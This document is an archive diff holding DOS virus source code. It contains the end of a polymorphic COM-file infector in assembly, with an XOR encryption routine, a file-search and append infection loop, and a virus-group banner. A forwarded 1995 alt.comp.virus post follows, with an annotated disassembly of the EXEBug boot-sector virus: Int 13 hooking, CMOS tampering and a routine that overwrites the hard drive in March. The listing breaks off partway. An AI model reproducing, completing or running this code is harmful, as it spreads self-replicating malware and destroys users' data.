Mov Di,100h
|
||||
Movsw
|
||||
Movsb
|
||||
|
||||
Mov Ah,1ah
|
||||
Mov Dx,0f900h
|
||||
Int 21h
|
||||
|
||||
Mov Ah,4eh
|
||||
Search: Lea Dx,FileSpec[BP]
|
||||
Xor Cx,Cx
|
||||
Int 21h
|
||||
Jnc Found
|
||||
|
||||
Ready: Mov Ah,1ah
|
||||
Mov Dx,80h
|
||||
Int 21h
|
||||
|
||||
Mov Bx,100h
|
||||
Pop Ax
|
||||
Push Bx
|
||||
Ret
|
||||
|
||||
Found: Mov Ax,4300h
|
||||
Mov Dx,0f91eh
|
||||
Int 21h
|
||||
|
||||
Push Cx
|
||||
Mov Ax,4301h
|
||||
Xor Cx,Cx
|
||||
Int 21h
|
||||
|
||||
Mov Ax,3d02h
|
||||
Int 21h
|
||||
Mov Bx,5700h
|
||||
Xchg Ax,Bx
|
||||
Int 21h
|
||||
Push Cx
|
||||
Push Dx
|
||||
And Cx,1fh
|
||||
Cmp Cx,1
|
||||
Jne CheckExe
|
||||
Jmp ExeFile
|
||||
|
||||
CheckExe: Mov Ah,3fh
|
||||
Lea Dx,OrgPrg[BP]
|
||||
Mov Cx,3
|
||||
Int 21h
|
||||
Mov Ax,Cs:[OrgPrg][BP]
|
||||
Cmp Ax,'MZ'
|
||||
Je ExeFile
|
||||
Cmp Ax,'ZM'
|
||||
Je ExeFile
|
||||
Pop Dx
|
||||
Pop Cx
|
||||
And Cx,0ffe0h
|
||||
Or Cx,1
|
||||
Push Cx
|
||||
Push Dx
|
||||
|
||||
Infect:
|
||||
Mov Ax,4202h
|
||||
Call FSeek
|
||||
Sub Ax,3
|
||||
Mov Cs:CallPtr[BP]+1,Ax
|
||||
Add Ax,Offset Crypt
|
||||
Mov S_1[Bp+1],Ax
|
||||
Mov S_2[Bp+1],Ax
|
||||
Mov S_3[Bp+4],Ax
|
||||
Mov S_4[Bp+4],Ax
|
||||
Call GenPoly
|
||||
|
||||
Mov Ah,40h
|
||||
Lea Dx,0fa00h
|
||||
Mov Cx,VirLen
|
||||
Int 21h
|
||||
Mov Ax,4200h
|
||||
Call FSeek
|
||||
Mov Ah,40h
|
||||
Lea Dx,CallPtr[BP]
|
||||
Mov Cx,3
|
||||
Int 21h
|
||||
Call Close
|
||||
Jmp Ready
|
||||
|
||||
|
||||
ExeFile: Call Close
|
||||
Mov Ah,4fh
|
||||
Jmp Search
|
||||
FSeek: Xor Cx,Cx
|
||||
Xor Dx,Dx
|
||||
Int 21h
|
||||
Ret
|
||||
|
||||
Close: Pop Si
|
||||
Pop Dx
|
||||
Pop Cx
|
||||
Mov Ax,5701h
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ax,4301h
|
||||
Pop Cx
|
||||
Mov Dx,0fc1eh
|
||||
Int 21h
|
||||
Push Si
|
||||
Ret
|
||||
|
||||
Db 13,10,'Mourners of a dying world'
|
||||
Db 13,10,'Too late to reconcile'
|
||||
Db 13,10,'Into Everlasting Fire'
|
||||
Db 13,10,'Can''t you see it''s Satan''s world'
|
||||
|
||||
GenPoly: Xor Byte Ptr [Loopje][Bp],2
|
||||
Xor Ax,Ax
|
||||
Mov Es,Ax
|
||||
Mov Ax,Es:[46ch]
|
||||
; Xor Ax,Ax ; DEZE ERUIT!!!
|
||||
Mov Es,Cs
|
||||
Push Ax
|
||||
And Ax,07ffh
|
||||
Add Ax,CryptLen
|
||||
Mov S_1[Bp+4],Ax
|
||||
Mov S_2[Bp+4],Ax
|
||||
Mov S_3[Bp+1],Ax
|
||||
Mov S_4[Bp+1],Ax
|
||||
Doit: Pop Ax
|
||||
Push Ax
|
||||
And Ax,3
|
||||
Shl Ax,1
|
||||
Mov Si,Ax
|
||||
Mov Ax,Word Ptr Table[Si][Bp]
|
||||
Add Ax,Bp
|
||||
Mov Si,Ax
|
||||
Lea Di,Instr[Bp]
|
||||
Movsw
|
||||
Movsw
|
||||
Movsw
|
||||
Movsw
|
||||
Pop Ax
|
||||
Stosb
|
||||
Movsb
|
||||
Mov Dl,Al
|
||||
Lea Si,Decr[BP]
|
||||
Mov Di,0fa00h
|
||||
Mov Cx,DecrLen
|
||||
Rep Movsb
|
||||
Lea Si,Crypt[BP]
|
||||
Mov Cx,CryptLen
|
||||
Encrypt: Lodsb
|
||||
Xor Al,Dl
|
||||
Stosb
|
||||
Loop Encrypt
|
||||
Cmp Dl,0
|
||||
Je Fuckit
|
||||
Ret
|
||||
|
||||
FuckIt: Lea Si,Encr0
|
||||
Mov Di,0fa00h
|
||||
Mov Cx,Encr0Len
|
||||
Rep Movsb
|
||||
Mov Ax,Cs:CallPtr[BP]+1
|
||||
Add Ax,Encr0Len+2
|
||||
Mov Cs:CallPtr[BP]+1,Ax
|
||||
Ret
|
||||
|
||||
DB 'TRIDENT'
|
||||
|
||||
Table DW Offset S_1
|
||||
DW Offset S_2
|
||||
DW Offset S_3
|
||||
DW Offset S_4
|
||||
|
||||
S_1: Lea Si,0
|
||||
Mov Cx,0
|
||||
DB 80h,34h
|
||||
Inc Si
|
||||
S_2: Lea Di,0
|
||||
Mov Cx,0
|
||||
DB 80h,35h
|
||||
Inc Di
|
||||
S_3: Mov Cx,0
|
||||
Lea Si,0
|
||||
DB 80h,34h
|
||||
Inc Si
|
||||
S_4: Mov Cx,0
|
||||
Lea Di,0
|
||||
DB 80h,35h
|
||||
Inc Di
|
||||
|
||||
Encr0 Db 'John Tardy'
|
||||
Encr0Len Equ $-Encr0
|
||||
|
||||
CallPtr Db 0e9h,0,0
|
||||
|
||||
FileSpec Db '*.CoM',0
|
||||
|
||||
OrgPrg: Int 20h
|
||||
Db '!'
|
||||
|
||||
CryptLen Equ $-Crypt
|
||||
|
||||
VirLen Equ $-Decr
|
||||
|
||||
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
@@ -0,0 +1,673 @@
|
||||
From smtp Tue Feb 7 13:18 EST 1995
|
||||
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:18 EST
|
||||
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
|
||||
id NAA25457 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:20:39 -0500
|
||||
Date: Tue, 7 Feb 1995 13:20:39 -0500
|
||||
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
|
||||
Content-Length: 44201
|
||||
Content-Type: binary
|
||||
Message-Id: <199502071820.NAA25457@lynx.dac.neu.edu>
|
||||
To: pobox.jwu.edu!joshuaw
|
||||
Subject: (fwd) EXEBug
|
||||
Newsgroups: alt.comp.virus
|
||||
Status: O
|
||||
|
||||
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
|
||||
From: danishm@iia.org ()
|
||||
Newsgroups: alt.comp.virus
|
||||
Subject: EXEBug
|
||||
Date: 5 Feb 1995 22:08:52 GMT
|
||||
Organization: International Internet Association.
|
||||
Lines: 641
|
||||
Message-ID: <3h3i9k$v4@ankh.iia.org>
|
||||
NNTP-Posting-Host: iia.org
|
||||
X-Newsreader: TIN [version 1.2 PL2]
|
||||
|
||||
Here is the EXEBug virus:
|
||||
|
||||
;-------------------------------------------------------------------------
|
||||
.286p ; The EXEBUG2 Virus. This virus
|
||||
.model tiny ; infects diskette boot sectors and
|
||||
.code ; activates in March of any year,
|
||||
; destroying the hard drive. It
|
||||
ORG 0100h ; contains instructions for 80286+
|
||||
; processors.
|
||||
;---------------------------------------;---------------------------------
|
||||
; As of Apr 21st, this disassembly is ; Disassembled with Master Core
|
||||
; incomplete, as the test computer uses ; Disassembler: IQ Software
|
||||
; Disk Manager and can not be infected. ; Analyzed with Quaid Analyzer:
|
||||
; ; Quaid Software Ltd.
|
||||
;-------------------------------------------------------------------------
|
||||
; We are using an origin of 100h, so that this can be assembled with TASM
|
||||
; and linked with tlink /t. You will have a 512 byte .COM file which is
|
||||
; a byte-for-byte duplicate of the original boot sector. Note that 100h
|
||||
; must be subtracted from many of the offsets.
|
||||
;-------------------------------------------------------------------------
|
||||
;Offset Opcode |Comment
|
||||
;---------------------------------
|
||||
Boot_Start: ;00100 EB1C
|
||||
;---------------------------------
|
||||
JMP Short Change_RAM ; Boot sectors always begin with
|
||||
; a long jump (E9 XX XX) or a short
|
||||
; jump (EB XX 90)
|
||||
;---------------------------------
|
||||
NOP ;00102 90 |NOP for short jump
|
||||
;---------------------------------------; |
|
||||
; Data in Code Area ; |
|
||||
;---------------------------------------; |
|
||||
OEM DB "MSDOS5.0" ;00103 4D53444F|OEM name
|
||||
Byt_Sec DW 0200h ;0010B 0002 |Bytes per sector
|
||||
Sct_AlU DB 02h ;0010D 02 |Sectors per
|
||||
; | allocation unit
|
||||
RsvdSct DW 0001h ;0010E 0100 |Reserved sectors
|
||||
NumFATs DB 02h ;00110 02 |Number of FATs
|
||||
RootSiz DW 0070h ;00111 7000 |Number of root dir
|
||||
; | entries (112)
|
||||
TotSect DW 02D0h ;00113 D002 |Total sectors in
|
||||
; | volume (1440)
|
||||
MedDesc DB 0FDh ;00115 FD |Media descriptor
|
||||
; | byte:
|
||||
;---------------------------------
|
||||
; F8 = hard disk
|
||||
; F0 = 3«" 18 sector
|
||||
; F9 = 3«" 9 sector
|
||||
; F9 = 5¬" 15 sector
|
||||
; FC = 5¬" SS 9 sector
|
||||
; FD = 5¬" DS 9 sector
|
||||
; FE = 5¬" SS 8 sector
|
||||
; FF = 5¬: DS 8 sector
|
||||
;---------------------------------
|
||||
FATSect DW 0002h ;00116 0200 |Sectors per FAT
|
||||
Sct_Trk DW 0009h ;00118 0900 |Sectors per track
|
||||
NumHead DW 0002h ;0011A 0200 |Number of heads
|
||||
aDrvNum DW 0000h ;0011C 0000 |Drive number (0=A:)
|
||||
;---------------------------------------;---------------------------------
|
||||
; |
|
||||
Change_RAM: ; |
|
||||
; |
|
||||
XOR AX,AX ;0011E 33C0 |Zero register
|
||||
MOV DS,AX ;00120 8ED8 |DS = 0000
|
||||
MOV DI,AX ;00122 8BF8 |DI = 0000
|
||||
MOV SS,AX ;00124 8ED0 |SS = 0000
|
||||
MOV SP,7C00h ;00126 BC007C |SP = 7C00
|
||||
;---------------------------------
|
||||
; Get RAM size (usually 64*10 K)
|
||||
; and put it in register AX.
|
||||
Get_RAM_Size: ;---------------------------------
|
||||
; |
|
||||
MOV AX,Word Ptr DS:[0413h] ;00129 A11304 |0000:0413 holds
|
||||
; | RAM size
|
||||
MOV CX,0106h ;0012C B90601 |This does two things:
|
||||
; |it sets up a MOVSW,
|
||||
; |and it puts a 6 in
|
||||
; |CL for the SAL,CL
|
||||
DEC AX ;0012F 48 |Steal 1K of RAM
|
||||
; | (decrease RAM size)
|
||||
MOV SI,SP ;00130 8BF4 |SI is 7C00. Use to
|
||||
; | move boot sector
|
||||
; | in Copy_Boot routine.
|
||||
;---------------------------------
|
||||
; RAM size is now 1K less; put it
|
||||
; in DS:0413h (RAMsize)
|
||||
Put_RAM_Size: ;---------------------------------
|
||||
; |
|
||||
MOV Word Ptr DS:[0413h],AX ;00132 A31304 |Put the new RAM
|
||||
; | size back in [0413]
|
||||
SAL AX,CL ;00135 D3E0 |Convert to paragraphs
|
||||
;-------------------------------------------------------------------------
|
||||
; AX now holds the SEGMENT of the new Int 13 service routine at TOM - 1K.
|
||||
; Next operation exchanges this with the old Int 13 segment stored at 0000:004E.
|
||||
;-------------------------------------------------------------------------
|
||||
; |
|
||||
MOV ES,AX ;00137 8EC0 |ES = new area SEGMENT
|
||||
PUSH AX ;00139 50 |Save SEGMENT address
|
||||
; | on stack. Jump here
|
||||
; | at offset 0152.
|
||||
XCHG AX,DS:[004Eh] ;0013A 87064E00|Exchange new and old
|
||||
; | SEGMENTS
|
||||
;---------------------------------
|
||||
|
||||
MOV Word Ptr DS:[7C00h+offset I13_Seg - 100h],AX
|
||||
|
||||
;---------------------------------
|
||||
;0013E A3B87C |This really should be:
|
||||
; |[7C00h+offset I13_Seg],
|
||||
; |but we use an ORG of
|
||||
; |100h here.
|
||||
; <Store old SEGMENT at 7CB8>
|
||||
;---------------------------------
|
||||
|
||||
MOV AX,offset New_Int13_ISR - 100h
|
||||
|
||||
;---------------------------------
|
||||
;00141 B83201 |Likewise the offset
|
||||
; |of the new Int 13
|
||||
; |service routine is
|
||||
; |decremented by 100h
|
||||
;------------------------------------------------------------------------
|
||||
; AX now holds the OFFSET of the new Int 13 service routine, which is
|
||||
; in our code at offset 232h. Next operation exchanges this with the
|
||||
; the offset stored at 0000:004C.
|
||||
;------------------------------------------------------------------------
|
||||
; |
|
||||
XCHG AX,DS:[004Ch] ;00144 87064C00|Exchange new and old
|
||||
; | OFFSETS
|
||||
;---------------------------------
|
||||
|
||||
MOV Word Ptr DS:[7C00h+offset I13_Off - 100h],AX
|
||||
|
||||
;---------------------------------
|
||||
;00148 A3B67C |Again, decrement by
|
||||
; | 100h to compensate
|
||||
; | for ORG 100h
|
||||
; <Store old OFFSET at 7CB6>
|
||||
;---------------------------------
|
||||
|
||||
MOV AX,[offset Activation - 100h]
|
||||
|
||||
;---------------------------------
|
||||
;0014B B89900 |Move offset of
|
||||
; |Activation routine
|
||||
; |to AX.
|
||||
PUSH AX ;0014E 50 |Push the Activation
|
||||
; |address, and then
|
||||
; |use that as the
|
||||
; |OFFSET when we RETF
|
||||
; |at offset 0152.
|
||||
Copy_Boot: ;---------------------------------
|
||||
; |
|
||||
CLD ;0014F FC |movsb will increment
|
||||
; |pointers cx=0106h
|
||||
; |ds=0000h sp=7C00h
|
||||
; |si=7C00h di=0000h
|
||||
; |Repeat until Zero
|
||||
; |Flag=0 or CX Times
|
||||
; |
|
||||
REP MOVSW ;00150 F3A5 |MOVE DS:SI TO ES:DI
|
||||
;---------------------------------
|
||||
; Move virus up to the memory we have
|
||||
; allocated, and set the INT handler.
|
||||
;---------------------------------
|
||||
; |
|
||||
RETF ;00152 CB |The segment and
|
||||
; |offset of the
|
||||
; |Activation routine
|
||||
; |were pushed on the
|
||||
; |stack previously, so
|
||||
; |a RETF jumps there
|
||||
; |(at top of memory)
|
||||
;>>>>>>>>>>>>>>>|JUMP TO ACTIVATION
|
||||
;---------------------------------------;---------------------------------
|
||||
; |
|
||||
DB 04h ;00153 04 |
|
||||
Drive DB 20h ;00154 20 |CMOS drive type (AH),
|
||||
; | is stored here.
|
||||
ChkSum DW 046Ch ;00155 6C04 |CMOS checksum (DX),
|
||||
; | is stored here.
|
||||
Install DB 01h ;00157 01 |This byte is checked
|
||||
; | at offset 294. It is
|
||||
; | used for the value
|
||||
; | of CX when the boot
|
||||
; | record is written
|
||||
; | (starting sector)
|
||||
; | Values are 1 or 11h.
|
||||
;-------------------------------------------------------------------------
|
||||
; The code (or is it data?) below from offsets 0158 to 0198 is not analyzed,
|
||||
; as I could not get an infection on the test computer.
|
||||
;-------------------------------------------------------------------------
|
||||
SUB [BX+SI],CH ;00158 2828 |
|
||||
ADD [BX+DI],AL ;0015A 0001 |
|
||||
ADD AL,[BP+1Eh] ;0015C 02461E
|
||||
; ADD AL,[BP+offset Change_RAM-100h]
|
||||
PUSH CX ;0015F 51 |
|
||||
MOV DL,65h ;00160 B265 |
|
||||
MOV DI,DX ;00162 8BFA |
|
||||
DEC AL ;00164 FEC8 |
|
||||
STOSW ;00166 AB |STORE Word STRING
|
||||
; | FROM AX
|
||||
ADD DI,+04h ;00167 83C704 |
|
||||
XOR AL,0C0h ;0016A 34C0 |
|
||||
STOSW ;0016C AB |
|
||||
MOV CL,0Bh ;0016D B10B |cl=0Bh dl=65h
|
||||
REP STOSB ;0016F F3AA |STORE 0Bh Bytes
|
||||
; | STRING FROM AL
|
||||
MOV CL,13h ;00171 B113 |
|
||||
MOV BH,03h ;00173 B703 |
|
||||
CALL $-170h ;00175 E88DFE |This calls offset
|
||||
; |7B05 in this segment.
|
||||
MOV AH,13h ;00178 B413 |
|
||||
INT 2Fh ;0017A CD2F |Get & set DOS disk
|
||||
; |int handler
|
||||
; |ds:dx=new handler,
|
||||
; |es:bx=old
|
||||
MOV CS:[01B8h],DS ;0017C 2E8C1E |
|
||||
; B801 |
|
||||
; |
|
||||
MOV CX,DX ;00181 8BCA |
|
||||
INT 2Fh ;00183 CD2F |Set it again
|
||||
MOV DS:[01B6h],CX ;00185 890EB601|
|
||||
CMP CL,32h ;00189 80F932 |
|
||||
JZ H0000_0198 ;0018C 740A |Return if CL=32h
|
||||
MOV CX,CS ;0018E 8CC9 |
|
||||
ADD CX,+10h ;00190 83C110 |
|
||||
PUSH CX ;00193 51 |
|
||||
MOV AX,00FDh ;00194 B8FD00 |
|
||||
PUSH AX ;00197 50 |
|
||||
; |
|
||||
H0000_0198: ;---------------------------------
|
||||
; |
|
||||
RETF ;00198 CB |
|
||||
;---------------------------------------;---------------------------------
|
||||
; |
|
||||
Activation: ; |
|
||||
; |
|
||||
CALL Main_Routine ;00199 E86800 |
|
||||
MOV AH,04h ;0019C B404 |AH=4 (get date)
|
||||
INT 1Ah ;0019E CD1A |Get date
|
||||
; |CX=year, DX=mon/day
|
||||
CMP DH,03h ;001A0 80FE03 |Is it month #3
|
||||
JZ Damage ;001A3 7402 |If it is March,
|
||||
; | do damage
|
||||
INT 19h ;001A5 CD19 |Otherwise reboot
|
||||
; | with virus resident
|
||||
; | and Int 13 hooked
|
||||
;---------------------------------------;---------------------------------
|
||||
; Set up Int 13 call from the new
|
||||
Damage: ; ISR at I13_Seg:I13_Off.
|
||||
;---------------------------------
|
||||
MOV AL,0FFh ;001A7 B0FF |
|
||||
OUT 21h,AL ;001A9 E621 |Turn off IRQs
|
||||
MOV DX,0080h ;001AB BA8000 |DH = head # (0),
|
||||
; |DL = drive #
|
||||
; | (+80 for hd)
|
||||
MOV CX,0101h ;001AE B90101 |CH = cylinder #,
|
||||
; |CL = sector #
|
||||
Trash_HardDrive: ;---------------------------------
|
||||
; |
|
||||
MOV AX,0311h ;001B1 B81103 |AH = function 03
|
||||
; | (write sectors)
|
||||
; |AL = # of sectors
|
||||
PUSHF ;001B4 9C |Push flags: normally
|
||||
; | done prior to
|
||||
; | interrupt.
|
||||
FarCall DB 9Ah ;001B5 9A |Call the Int 13
|
||||
; | service routine
|
||||
I13_Off DW 0AB1Bh ;001B6 1BAB |(real) Int 13 offset
|
||||
I13_Seg DW 0F000h ;001B8 00F0 |(real) Int 13 segment
|
||||
INC DH ;001BA FEC6 |Next head
|
||||
AND DH,07h ;001BC 80E607 |Test bits 0-3 of DH,
|
||||
; | clear 4-7
|
||||
JNZ Trash_HardDrive ;001BF 75F0 |If #head > 7
|
||||
; |continue, else trash
|
||||
INC CH ;001C1 FEC5 |Next cylinder
|
||||
JNZ Trash_HardDrive ;001C3 75EC |If #cylinder > 255
|
||||
; | continue, else keep
|
||||
; | on trashing.
|
||||
ADD CL,40h ;001C5 80C140 |Set bits 6 and 7 of
|
||||
; | CL, enabling the
|
||||
; | entire drive to be
|
||||
; | overwritten (or at
|
||||
; |least 1024 cylinders)
|
||||
JMP Short Trash_HardDrive ;001C8 EBE7 |Only way out of this
|
||||
; | is a disk error, or
|
||||
; | power off.
|
||||
;--------------------------------------------------------------------------
|
||||
;At this point, it is important to
|
||||
Change_CMOS: ;know what the contents of DX is.
|
||||
; CMOS checksums are stored at
|
||||
; DS:0053 and DS:0055
|
||||
;--------------------------------------------------------------------------
|
||||
MOV AL,10h ;001CA B010 |Diskette type
|
||||
CALL CMOS_Read_Write ;001CC E80700 | SET DISKETTE TYPE
|
||||
MOV AL,2Fh ;001CF B02F |Hi checksum byte
|
||||
CALL CMOS_Read_Write ;001D1 E80200 | SET CHECKSUM: set
|
||||
; | to zero or restore
|
||||
MOV AL,2Eh ;001D4 B02E |Low checksum byte
|
||||
; | SET CHECKSUM: set
|
||||
; | to zero or restore
|
||||
CMOS_Read_Write: ;---------------------------------
|
||||
; |
|
||||
OUT 70h,AL ;001D6 E670 |Tell CMOS address
|
||||
; | to read (in AL)
|
||||
XCHG AH,DL ;001D8 86E2 |1st call: AH=DL=00
|
||||
; |2nd call: AH=DL=00
|
||||
; |3rd call: AH=20,DL=00
|
||||
; |4th call: AH=5F,DL=00
|
||||
; |5th call: AH=02,DL=5F
|
||||
; |6th call: AH=00,DL=02
|
||||
; |
|
||||
XCHG DL,DH ;001DA 86D6 |1st call: DH=DL=00
|
||||
; |2nd call: DH=00,DL=20
|
||||
; |3rd call: DH=00,DL=7F
|
||||
; |4th call: DH=00,DL=02
|
||||
; |5th call: DH=5F,DL=00
|
||||
; |6th call: DH=02,DL=00
|
||||
; |
|
||||
IN AL,71h ;001DC E471 |Read CMOS to AL
|
||||
; |1st call: AL=20
|
||||
; |2nd call: AL=7F
|
||||
; |3rd call: AL=02
|
||||
; |4th call: AL=00
|
||||
; |5th call: AL=00
|
||||
; |6th call: AL=00
|
||||
; |
|
||||
XCHG DH,AL ;001DE 86F0 |Trade AL <-> DH
|
||||
; |1st call: DH=20,AL=00
|
||||
; |2nd call: DH=7F,AL=00
|
||||
; |3rd call: DH=02,AL=00
|
||||
; |4th call: DH=00,AL=00
|
||||
; |5th call: DH=00,AL=5F
|
||||
; |6th call: DH=00,AL=02
|
||||
; |
|
||||
OUT 71h,AL ;001E0 E671 |Write contents of
|
||||
; | AL to CMOS
|
||||
; |1st call: AL=00
|
||||
; |2nd call: AL=00
|
||||
; |3rd call: AL=00
|
||||
; |4th call: AL=00
|
||||
; |5th call: AL=5F
|
||||
; |6th call: AL=02
|
||||
; |
|
||||
RET ;001E2 C3 |Return to Call_CMOS
|
||||
;---------------------------------------;---------------------------------
|
||||
; |
|
||||
Setup_Int13: ; |
|
||||
; |
|
||||
MOV AX,0301h ;001E3 B80103 |Function #3: write
|
||||
; | (1) sector
|
||||
Real_Int13_2: ;---------------------------------
|
||||
; |
|
||||
CALL Restore_CMOS ;001E6 E80500 |Restore original CMOS
|
||||
PUSHF ;001E9 9C |Prepare for interrupt
|
||||
;---------------------------------
|
||||
;DO THE INTERRUPT 13
|
||||
CALL DWord Ptr DS:[I13_Off-100h] ;Subtract 100h from
|
||||
; offset of old Int 13
|
||||
;001EA FF1EB600| vector and then call
|
||||
; | it as a DWord (i.e.
|
||||
; | as Segment:Offset)
|
||||
; | Standard Int 13
|
||||
; | resets and repeats
|
||||
; | 3 times if carry
|
||||
; | flag not clear.
|
||||
Restore_CMOS: ;---------------------------------
|
||||
; |
|
||||
CALL Xchg_Old_New ;001EE E80300 |
|
||||
CALL Change_CMOS ;001F1 E8D6FF |
|
||||
; |
|
||||
Xchg_Old_New: ;---------------------------------
|
||||
; |
|
||||
XCHG AX,DS:[0053h] ;001F4 87065300|
|
||||
XCHG DX,DS:[0055h] ;001F8 87165500|
|
||||
RET ;001FC C3 |
|
||||
;---------------------------------------;---------------------------------
|
||||
; |
|
||||
Jump_From_Boot: ; |
|
||||
; |
|
||||
CALL Main_Routine ;001FD E80400 |
|
||||
; CALL 0204h |
|
||||
; |
|
||||
CALL Restore_CMOS ;00200 E8EBFF |Call 01EEh
|
||||
;-------------------------------;---------------------------------
|
||||
;RETF ; |This must be assembled
|
||||
; |as DB 0CBh, otherwise
|
||||
DB 0CBh ;00203 CB |the assembler emits
|
||||
; |CA CB 00.
|
||||
;---------------------------------------;---------------------------------
|
||||
; |Diddle CMOS. Read
|
||||
Main_Routine: ;00204 |boot with new Int13.
|
||||
; |
|
||||
;-------------------------------------------------------------------------
|
||||
; |
|
||||
; (64 Bytes) FFEEDDCC BBAA9988 77665544 33221100 |This is the original
|
||||
; -------- -------- -------- -------- |CMOS setting.
|
||||
; CMOS IS NOW: 00008050 02269303 28000016 00200027 |
|
||||
; 00000000 0000310D 80028003 00F00020 <--|diskette drive(s) type
|
||||
; Checksum --> 7F021A04 01000009 04000000 00000000 |Bits 7-4: drive 0
|
||||
; is 7F02 00000001 01000000 00000000 80190D80 |Bits 3-0: drive 1
|
||||
; | 0000b = no drive
|
||||
; | 0001b = 360K
|
||||
; | 0010b = 1.2 MB
|
||||
; | 0011b = 720K
|
||||
; | 0100b = 1.44 MB
|
||||
; |so in this case there
|
||||
; |is one 1.2 meg drive
|
||||
; |and no 'B' drive
|
||||
;-------------------------------------------------------------------------
|
||||
; |Put address of
|
||||
CMOS_0: ; | hidden memory on
|
||||
PUSH CS ;00204 0E | stack and then pop
|
||||
POP DS ;00205 1F | it into DS.
|
||||
MOV ES,CX ;00206 8EC1 |Zero ES
|
||||
CALL Change_CMOS ;00208 E8BFFF |AX=0099,DX=0000
|
||||
;-------------------------------------------------------------------------
|
||||
;
|
||||
; CMOS CHANGED: 00008050 02269303 28000017 00420002
|
||||
; 00000000 0000310D 80028003 00F00000 <-NOTE CHANGE
|
||||
; NOTE CHANGE-> 00001A04 01000009 04000000 00000000 No drive
|
||||
; No checksum 00000001 01000000 00000000 80190D80
|
||||
;
|
||||
;-------------------------------------------------------------------------
|
||||
; |Now the drive type
|
||||
CMOS_1: ; | and checksum are 00
|
||||
MOV AL,AH ;0020B 8AC4 |AX=2020
|
||||
AND AL,0F0h ;0020D 24F0 |AX=2020
|
||||
JZ Calc_ChkSum ;0020F 7408 |Is zero flag set?
|
||||
MOV DS:[0055h],DX ;00211 89165500|Store checksum in
|
||||
; | DS:[0055]
|
||||
MOV DS:[0054h],AH ;00215 88265400|Store drive type
|
||||
; | in DS:[0054]
|
||||
Calc_ChkSum: ;---------------------------------
|
||||
; |
|
||||
AND AH,0Fh ;00219 80E40F |Clears high bits
|
||||
; | AX=0020
|
||||
SUB DL,AL ;0021C 2AD0 |DX=025F
|
||||
SBB DH,00h ;0021E 80DE00 |DX=025F
|
||||
CALL Change_CMOS ;00221 E8A6FF |AX=0020, DX=025F
|
||||
;-------------------------------------------------------------------------
|
||||
;
|
||||
; CMOS CHANGED: 00008050 02269303 28000018 00030041
|
||||
; 00000000 0000310D 80028003 00F00000
|
||||
; NOTE CHANGE-> 5F021A04 01000009 04000000 00000000
|
||||
; 00000001 01000000 00000000 80190D80
|
||||
;
|
||||
;-------------------------------------------------------------------------
|
||||
; |
|
||||
CMOS_2: ; |
|
||||
MOV DL,80h ;00224 B280 | DL = 80
|
||||
; |
|
||||
Read_Boot: ;---------------------------------
|
||||
; |
|
||||
MOV CX,0001h ;00226 B90100 | CX = 0001
|
||||
MOV DH,CH ;00229 8AF5 | DH = 00
|
||||
POP AX ;0022B 58 | Pop return offset
|
||||
PUSHF ;0022C 9C | Push flags
|
||||
PUSH CS ;0022D 0E | Save segment
|
||||
PUSH AX ;0022E 50 | Save offset
|
||||
MOV AX,0201h ;0022F B80102 | AX = 0201 (read
|
||||
; | one sector)
|
||||
;
|
||||
New_Int13_ISR: ;___ New Int 13 Service Routine ___
|
||||
;
|
||||
CLD ;00232 FC |Clear direction flag
|
||||
PUSH DS ;00233 1E |
|
||||
PUSH SI ;00234 56 |
|
||||
PUSH DI ;00235 57 |Save some registers
|
||||
PUSH CX ;00236 51 |
|
||||
PUSH AX ;00237 50 |
|
||||
PUSH CS ;00238 0E |
|
||||
POP DS ;00239 1F |DS = CS
|
||||
CMP AH,03h ;0023A 80FC03 |Is it a function 3
|
||||
; | (write disk) call?
|
||||
JNZ Real_Int13_1 ;0023D 7521 |No, so do real Int 13
|
||||
CMP Byte Ptr ES:[BX],4Dh ;0023F 26803F4D|Yes, but is ES:[BX]=4D?
|
||||
JNZ Real_Int13_1 ;00243 751B |No, so do real Int13
|
||||
OR AH,DL ;00245 0AE2 |Yes, but which drive?
|
||||
CMP CL,AH ;00247 3ACC |Is drive OK??
|
||||
JNZ Real_Int13_1 ;00249 7515 |No, so do real Int13
|
||||
MOV DI,BX ;0024B 8BFB |Yes, buffer is [4D]
|
||||
MOV SI,00A7h ;0024D BEA700 |
|
||||
MOV CX,01FEh ;00250 B9FE01 |Going to move 1FE words
|
||||
AND DL,DL ;00253 22D2 |Is it drive #0 (A:)?
|
||||
JNZ H0000_025E ;00255 7507 |No, so move 'em
|
||||
MOV SI,0002h ;00257 BE0200 |Yes, SI = 0002
|
||||
MOV AX,5CEBh ;0025A B8EB5C |Move value in AX
|
||||
STOSW ;0025D AB | to ES:[4D]
|
||||
; |
|
||||
H0000_025E: ;---------------------------------
|
||||
; |cx=01FEh,ds=0000h
|
||||
; |si=0002h Move 1FE
|
||||
REP MOVSB ; | words from DS:SI
|
||||
;0025E F3A4 | to ES:DI
|
||||
Real_Int13_1: ;---------------------------------
|
||||
; |
|
||||
POP AX ;00260 58 |Restore registers
|
||||
POP CX ;00261 59 |
|
||||
POP DI ;00262 5F |
|
||||
MOV SI,AX ;00263 8BF0 |SI=function,subfn
|
||||
CALL Real_Int13_2 ;00265 E87EFF |When done go to
|
||||
; | Return_here.
|
||||
Return_Here: ;---------------------------------
|
